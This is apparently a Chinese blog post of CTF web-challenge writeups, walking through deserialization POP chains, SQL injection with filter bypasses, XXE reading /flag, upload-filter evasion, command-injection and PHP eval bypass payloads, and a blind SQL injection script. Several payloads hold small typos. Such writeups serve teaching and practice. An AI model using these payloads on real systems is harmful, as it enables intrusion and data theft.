title: WEB刷题解析
date: 2023-12-12 21:39:15
categories: WEB
tags: WEB
[HZNUCTF 2023 preliminary]ppppop
打开页面没有显示东西打开f12查看网络有一个cookie:user尝试将字符串进行base64解密发现是一个验证已经显示是isadmin那么在让他变成1就行,然后输入header里面去查看到源码就是一个反序列化,我们要注意的是strrev和python的[::-1]一样将字符串反转
<?php
class A {
public $className="B";
public $funcName="system";
public $args="env";
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
$a=new A();
echo strrev(serialize($a));
[HZNUCTF 2023 preliminary]guessguessguess
很简单直接使用python的[::-1]即可得到strrev反过来的,
贴上源码这个题我打不开环境
<?php
$userArr = array("username: admin<br>password: admin","username: docker<br>password: docker", "username: mxx307<br>password: mxxxxxxx3333000777", "username: FLAG_IN_HERE<br>password: 不给你看");
$cmd = strrev($_POST['cmd']);
if($cmd != 'hint' && $cmd != 'phpinfo'){
echo "your SQL: SELECT * FROM users WHERE id=$cmd";
echo "<br>";
}
if($cmd == "phpinfo") {
eval('phpinfo();');
} else if(preg_match('/127.0.0.1/',$cmd) && !preg_match('/;|&/',$cmd )) {
system('ping '.$cmd);
} else if($cmd == "hint") {
echo '可爱的CTFer哟,你掉的是这个金"命令执行",还是这个银"XSS"还是这个普通的"SQL注入"呢?';
}else if(preg_match('/^\d$/',$cmd, $matches)) {
if($matches[0] <= 4 && $matches[0] >= 1){
echo $userArr[$matches[0] - 1];
} else {
echo "no user";
}
}else {
echo "猜猜猜";
}
[FSCTF 2023]webshell是啥捏
很简单的一个题直接把
<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽'])) {
eval($😭($_GET['👽']));
};
?>
拿去解析一下就能知道这个😭是什么意思然后直接使用👽=cat /flag.txt即可
[湖湘杯 2021 final]Penetratable
这个题对我来说真的有难度,这个题的步骤是这样的,一开始进行目录扫描,扫到了phpinfo.php和一些没有用的,看源码static可以看到很多js代码,这些js代码里面有一个req可以查看到账号信息和调用函数,知道了admin账号能够修改账号密码,root用户能够下载文件,user和app用户什么都干不了,那我们首先的目标是是看admin上面有没有突破口了。经过多次尝试可以使用admin"#来创建用户冒牌一下admin账号然后修改admin的账号密码就能登录admin了,然后通过admin来修改root账号的密码name要base64加密,newpass要md5加密old也是md5,然后pass要base64,修改成功后登录root账号查看phpinfo的内容满足pass里面的get然后利用下面那个执行命令,发现catflag没有权限flag文件权限比较高,我们使用find查看一下什么有权限查看到了sed可以使用,即可得到flag如sed ‘p1’ /flag
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
[NSSRound#13 Basic]flask?jwt?
题目告诉的很直白,就是jwt伪造,你使用常规方法直接进行伪造即可把id改为1
python flask_session_cookie_manager3.py encode -c ".eJwlzjEOwyAMBdC7MHewDQSTy0QY-6tdSTNVvXsjdX7L-6QDK85n2t_rikc6Xp72tHmTETEyuJSKqdypOZSUkatgRDMDKDAKK7oP0YYpRnNwc-79VqMhUChXEHNlabNWLTmrqAtvpiiNuumEmnJkJ3Zwdu_pjlxnrP9G0vcHIa0wBg.ZVRcxg.NZTyqvJ1HndRRn26eNYQ0gJryU8"
[GWCTF 2019]枯燥的抽奖
使用
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'iiOj12Cfzb'
res = ''
for char in str2:
index = str1.find(char)
res += str(index) + ' ' + str(index) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
print(res)
得到序列在通过php_rand去爆破种子得到种子在通过他得加密方法就可得到$str
<?php
mt_srand(61046797);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
[FSCTF 2023]细狗2.0
直接使用1;ls可以发现有内容,然后使用ls /不行代表空格不能使用,那么我们使用${IFS}来代替空格,然后在使用cat发现也不行要么使用c\at要么使用nl即可然后就可以利用正则来匹配如/f*
[MoeCTF 2021]Do you know HTTP
使用常规header即可得到flag,注意我得burp不知道为什么发送这种请求只有第一次可以
[NSSCTF 2022 Spring Recruit]babysql
使用常规sql注入发现不行并且提示了给了我们一个说明过滤符号不行,那我们可以尝试一下其他办法比如我这里使用了
-a'/**/union/**/select/**/(select/**/database())'
-a'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'
-a'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'
-a'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'
[羊城杯 2020]Blackcat
下载音频使用010才能查看到源码,看到源码后可以发现漏洞函数使用
Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
&White-cat-monitor[]=1&One-ear=;cat flag.php
[HUBUCTF 2022 新生赛]ezsql
admin账号爆破密码为iamcool即可得到flag或者
整体思路为update注入,常见于修改用户数据的场景
这里注入并不需要单引号,直接拼凑sql语句
结合updata特性,常规操作爆一爆字段,表,列
拿不到admin密码就修改
(flag在description中,为避免重开环境,可在nickname回显)
[HNCTF 2022 WEEK2]easy_unser
考点在于利用初始化函数来绕过
<?php
class body{
private $want,$todonothing = "";
public function __construct($want){
$About_me = "";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
}
$f = "php://filter/convert.base64-encode/resource=f14g.php";
// 伪协议可以绕过is_file()函数, 并且还不等于f14g.php
$a = new body($f);
$b = serialize($a);
$c = preg_replace("/:2:{/",":3:{",$b);
echo urlencode($c);
?>
[SCTF 2021]loginme
查看结构体里面的使用X-Real-ip来伪造本地ip然后使用查看源码结构题能看出他的id=0,age=一个模块
使用age={{.Password}}可以得到flag
[FSCTF 2023]EZ_eval
使用
<script%0alanguage='php'>system('c\at${IFS}/f*');</script>
过滤了空格和注意他的<?即可绕过
新知识paste可以查看文件
[CSAWQual 2019]Unagi
页面一直在提示这是一个xml上传漏洞并且flag就在/flag那,那直接构造恶意xxe试试
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
直接报错不行
那么使用加密试试
< ? x m l v e r s i o n = ' 1 . 0 ' ? >
< ! D O C T Y P E u s e r s [
< ! E N T I T Y x x e S Y S T E M " f i l e : / / / f l a g " > ] >
< u s e r s >
< u s e r >
< u s e r n a m e > b o b < / u s e r n a m e >
< p a s s w o r d > p a s s w d 2 < / p a s s w o r d >
< n a m e > B o b < / n a m e >
< e m a i l > b o b @ f a k e s i t e . c o m < / e m a i l >
< g r o u p > C S A W 2 0 1 9 < / g r o u p >
< i n t r o > & x x e ; < / i n t r o >
< / u s e r >
< / u s e r s >
直接得到flag
[NSSCTF 2nd]php签到
注意查看代码
<?php
function waf($filename){ $black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){ file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{ highlight_file(__FILE__);
}
import requests
url="http://node5.anna.nssctf.cn:28748/"
file_content = "<?php phpinfo();?>"
file = {'file': ('1.php%2f.', file_content)}
response = requests.post(url, files=file)
print(response.text)
直接使用这个即可上传一个1.php/.上去
[October 2019]Twice SQL Injection
二次注入,注入点在那个注册哪里然后到login那里面实现注入,首先需要
1' union select database()#
1' union select group_concat(table_name) from information_schema.tables where database()=table_schema#
1' union select group_concat(column_name) from information_schema.columns where table_name="flag"#
1' union select group_concat(flag) from flag#
EzHttp
这个题打开后难点在于代理这里你需要使用via学到新知识点,并且在添加server处如果有下划线的情况下需要使用把前面的下划线内容去掉
n00b_Upload
这个题只是过滤了
这个题过滤了php但是我们依旧可以直接上传文件注意内容里面不要有php即可
easy_php
这个题注意下划线使用[替代
[广东强网杯 2021 团队组]love_Pokemon
使用od来得到他的8进制字符串,然后在使用python写一个脚本恢复原本的字符串即可
dump = "0000000 066146 063541 067173 057551 064541 073537 057557 067567 0000020 060537 057551 064556 066537 074151 062565 064542 063556 0000040 064143 067145 057547 064564 067141 064555 064555 005175 0000060"
b=""
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)
print(hexs)
print(bytes.fromhex(result))
[UUCTF 2022 新生赛]ezsql
这个题就是一个sql注入但是过滤了or并且使用了逆反,导致你每次sql语句必须在逆反一下才行使用
首先构造语句1')union select 1,2,3#然后逆转发现没有回显
那我们构造1')union select 1,2#后可以得到回显并且显示了pass在2那我们直接使用2来构造一个payload首先爆出数据库
1')union select 1,database()#得到数据库UUCTF
在通过information来爆出表,需要注意的点是or被过滤了也代表了from逆转后的morf不能通过,那我们只有使用双写来达到绕过办法
1')union select 1,tabase_name frroon information_schema.tables where table_schema=database()#
之后就得到了表名flag之后我们就要去获取他的字段
1')union select 1,column_name frronn information_schema.columns where column_schema='flag'#
然后就得到了字段为UUCTF之后直接爆字段内容
1')union select 1,UUCTF frroon flag#
然后得到flag
[FSCTF 2023]ez_php1
满足第一个php语法然后再去满足第二个语法,比较难的就是最后一个需要让new class->b=&new class->a
<?php
class Clazz
{
public $a;
public $b;
}
$c=new Clazz();
$c->b=&$c->a;
echo serialize($c);
[SWPUCTF 2023 秋季新生赛]If_else
没见过这么好的要求让我们自己来操作他的代码if判断,那就按照sql注入的套路去直接执行命令即可
比如让他的if变成if(1)system('ls');\*就能使用命令
[FSCTF 2023]巴巴托斯!
按照提示输入他的要求后发现没有其他显示在试试/etc/passwd发现能够查看到文件内容,那就很直接的目录查看或者使用php伪协议直接读取flag.php即可
[SWPU 2018]SimplePHP
这个题讲究方法绕过可以利用preg_match的绕过比如回溯超出和%02截断
有坑点就是flag我找半天找不到太离谱了
/bin/cat%20/home/rceservice/flag
[安洵杯 2019]easy_web
这个题考的是md5强绕过以及当很多函数被搬掉后该怎么办
打开就可以看到图片base64以及他的url,这个url也有一串加密经过两次base64和一次hex解密后即可看到文件名,那试试把这个换成index.php查看一下源代码,发现可以把base64全部copy下来进行解密后看到源代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
这个代码先使用强比较绕过如下
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
然后即可执行命令有两种方法可以执行,如sort和使用\转义可能会好奇那个\不是过滤了反斜杠了吗,对的但是我们传进去的样子是经过转义的这个是无法过滤的
[NCTF 2018]Easy_Audit
数组绕过
$_REQUEST变量覆盖
$_SERVER[‘QUERY_STRING’]特性
注意绕过时的方法即可
$_REQUEST有个特性就是当GET和POST有相同的变量时,匹配POST的变量
$_SERVER[‘QUERY_STRING’]匹配的是原始数据,就是没有url编码过的数据,所以可以使用url编码绕过
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!! die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){ $getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}
?>
使用
GET: ?%79%75%6C%69%67%65[]=1&%6E%63%74%66=%6E%63%74%66%69%73%66%75%6E%0a&%66%6C%61%67=data://text/plain,ccc_liubi
POST: yulige=1&nctf=2&flag=1
[HNCTF 2022 Week1]Challenge__rce
这种题老套路,直接使用自增手法即可进行绕过得到flag
<?php
error_reporting(0);
if (isset($_GET['hint'])) { highlight_file(__FILE__);
}
if (isset($_POST['rce'])) { $rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
传入:
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
使用的get的1和2进行连接的
没有编码之前是
rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
[WUSTCTF 2020]颜值成绩查询
过滤了union和空格,这个题使用大小写绕过即可
0'/**/Union/**/select/**/1,2,3#使用这个可以查看到回显2,3
0'/**/Union/**/select/**/1,2,database()#使用这个可以查看到数据库
0'/**/Union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_tables.schema/**/where/**/table_schema=database()#
0'/**/Union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_columns.schema/**/where/**/column_schema='flag'#
0'/**/Union/**/select/**/1,2,group_concat(flag,value)/**/from/**/flag#
也可以使用布尔盲注如
0'ascii(substr(database(),1,1))=100#
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
这个rce非常简单但是需要注意这个shell_exec不会回显就只有使用>符号去重定向这个内容再去访问
[SWPUCTF 2023 秋季新生赛]一键连接!
都使用数组绕过然后在使用一个data://text/plain,他的内容即可
<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
echo "Congratulations~~~~~~~~~";
echo "试试need Antsword<br/>";
@eval($_POST['Nss']);
}else{
echo "可曾听过data协议?";
}
} else {
echo "sha1又如何相等呢";
}
} else {
echo "如何让md5值相等呢¿";
}
[护网杯 2018]easy_tornado
查看flag.txt提供了flag的路径,然后hint提供了加密方法,看url可知道这个题的方法,然后在去error?msg=处来使用命令
[HNCTF 2022 WEEK2]easy_sql
无字符漏洞
0'union/**/select/**/1,2,database()/**/where/**/'1
Here is your want!
ctf
0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ctf,ctftraining,ctftraining,ctftraining,mysql
0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ccctttfff,flag,news,users,gtid_slave_pos
0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/'1
Here is your want!
1,NSSCTF{da2750d9-7bb8-4470-9118-ccdfb258d822}
过滤了 and information_schema 空格
学到一个思路当#和–+被过滤时我们可以使用%00
from urllib import parse
url='http://node2.anna.nssctf.cn:28555/index.php'
payload=f"0'/**/union/**/select/**/1,2,group_concat(`2`)/**/from/**/(select/**/2/**/union/**/(select/**/*/**/from/**/ctftraining.flag))a/**/;{parse.unquote('%00')}"
data={"id":payload}
req=requests.post(url=url,data=data)
print(req.text)
[RoarCTF 2019]Online Proxy
x-forwarded-for的二次注入
import requests
import time
url ="http://node4.buuoj.cn:27074/"
head={
'X-Forwarded-For':'',
'Cookie':'8cfaaa71-9c6a-4aec-dc64-124cdeed535a'
}
res = ''
for i in range(1,200):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1)
while left < right:
#payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid)
#payload = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid)
#payload = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid)
payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
headers = {
'Cookie': 'track_uuid=8cfaaa71-9c6a-4aec-dc64-124cdeed535a',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)
payload = '111'
headers = {
'Cookie': 'track_uuid=8cfaaa71-9c6a-4aec-dc64-124cdeed535a',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)
payload = '111'
headers = {
'Cookie': 'track_uuid=8cfaaa71-9c6a-4aec-dc64-124cdeed535a',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)
if r.status_code == 429:
print('too fast')
time.sleep(2)
if 'Last Ip: 1' in r.text:
left = mid + 1
elif 'Last Ip: 1' not in r.text:
right = mid
mid = left + ((right-left)>>1)
if mid == 31 or mid == 127:
break
res += chr(mid)
print(str(mid),res)
time.sleep(1)